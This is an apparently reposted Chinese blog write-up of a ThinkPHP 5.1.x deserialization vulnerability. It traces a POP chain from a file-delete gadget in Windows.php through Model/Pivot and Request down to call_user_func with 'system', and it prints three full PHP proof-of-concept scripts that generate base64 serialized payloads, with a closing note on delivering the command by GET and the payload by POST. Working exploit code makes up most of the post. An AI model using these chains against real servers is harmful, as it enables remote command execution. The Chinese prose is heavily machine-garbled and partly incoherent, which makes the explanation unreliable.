破绽描绘
ThinkPHP是由上海顶想公司开发维护的MVC构造的开源PHP框架。
ThinkPHP存在反序列化破绽,攻击者可应用该破绽获取效劳器控制权限。
影响版本
Thinkphp 5.1.1
复现过程
这个破绽的起点是一个恣意文件删除破绽,这个->文件内容没有过滤,能够有五个分数。
/thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
poc
<?php
namespace thinkprocesspipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = ['1.php'];
}
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
反序列结构
先剖析一下thinkphp5.1.38的poc
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单恳求类型假装变量
'var_method' => '_method',
// 表单ajax假装变量
'var_ajax' => '_ajax',
// 表单pjax假装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容形式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默许全局过滤办法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkprocesspipes;
use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
?>
文件_假如是这品种型的对象,将把对象当作字符串的字符串的办法。类最后找到thinkthinkthinkmodelconcernConversion.php 的转换类后面的调用流程是 toString—>$this->toJson—->$this->toArray 依次到toArray 3.1.1.3,向$relation办法是经过$relation的办法在恳求对象中调用,而我们这里也能够运用这种办法调用对象,而我们这里也能够运用这种办法。 (留意:原来是调用办法的名字,第一个参数是调用的办法。
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
thinkphp3.1.38代码
$relation = $this->getAttr($key);
if ($relation) { $relation->visible($name); }
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
......
foreach ($data as $key => $val) {
.........
// 追加属性(必需定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$value = $this->getAttr($name, $item);
if (false !== $value) {
$item[$name] = $value;
}
}
}
}
return $item;
}
Conversion和Attribute是trait类型,不能直接调用,所以要调用这两个类的类即model类。
abstract class Model implements JsonSerializable, ArrayAccess
{
use modelconcernAttribute;
use modelconcernRelationShip;
use modelconcernModelEvent;
use modelconcernTimeStamp;
use modelconcernConversion;
model类是笼统类,不能直接调用。所以调用他的子类Pivot类(thinkModelPivot)。
在源中查找一个存在调用函数和没有附加办法的类,(调用是在类没有调用函数的时分调用,第一个办法为办法名,第二个参数为办法的第一个参数)查找到到办法的第一个参数)就是/thinkphp/library/think/Request.php的Request类,其中存在call_user_func_array办法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
} else {
throw new Exception('method not exists:' . static::class . '->' . $method);
}
}
$this-hook 可控,但是由于array_unshift函数的作用,招致$args列中会参加新的系列,判别不好应用。他是一个所以函数,能够以$this->hook[$method> ]=[methodName]这种方式的办法$这个函数。在恳求类中查找这个call_user_func_array这个类型的函数,最后找到filterValue函数。filterValue里面的call_user_func_函数是破绽的触发点。回溯$filter和$value。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者办法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不胜利返回默许值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则运用filter_var停止过滤
// filter为非整形值时, 调用filter_id获得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
最后找到这样的一个调用流程,能够控制$filter, $value这两个变量。 isAjax()—->$this->param()—–>$this->input—- —>$this->filterValue 剖析下$filter, $value这个的传送过程: $value:isAjax办法的两个参数$this->config->get('var_ajax')—->param办法的$name—–>输入办法的$name。所以$value可控。
$filter参数:param办法$this->param—->输入办法$data
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
$result = ('xmlhttprequest' == $value) ? true : false;
if (true === $ajax) {
return $result;
} else {
return $this->param($this->config->get('var_ajax')) ? true : $result;
}
}
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->param)) {
.......
return $this->input($this->param, $name, $default, $filter);
}
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分红多维数组停止判别
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默许值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
.......
return $data;
}
$this->param=array_merge($this->param, $this->get(false), $vars, $this->route(false));是直接从url中获取参数。 $this->config- >get('var_ajax) 也是不同可控的。他和5.1.38的办法是这个->config['var_ajax.']8所以招致不能用直接输入的办法配置值。的处理方法是从源头中寻觅带有get函数的类,经过pop链的方式厨房配置的值。发现Hook.phpthinkHook类存在get办法
public function get($tag = '')
{
if (empty($tag)) {
//获取全部的插件信息
return $this->tags;
} else {
return array_key_exists($tag, $this->tags) ? $this->tags[$tag] : [];
}
}
$$tag=["var_ajax"='a'='a'= ; 相似这种方式,中的$能够恣意调用$user_getthis->config->的值。 。
poc
<?php
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>["calc.exe"]];
$this->data = ["a"=>new Request()];
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
namespace thinkprocesspipes;
use thinkmodelPivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think;
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单恳求类型假装变量
'var_method' => '_method',
// 表单ajax假装变量
'var_ajax' => '_ajax',
// 表单pjax假装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容形式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默许全局过滤办法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = new Hook();
$this->hook = ["append"=>[$this,"isAjax"]];
}
}
namespace think;
class Hook{
private $tags = ["var_ajax"=>'a'];
public function get($tag = '')
{
if (empty($tag)) {
//获取全部的插件信息
return $this->tags;
} else {
return array_key_exists($tag, $this->tags) ? $this->tags[$tag] : [];
}
}
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
应用前面结构的注入点,经过 GET恳求获取需求执行的命令,POST传入payload
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者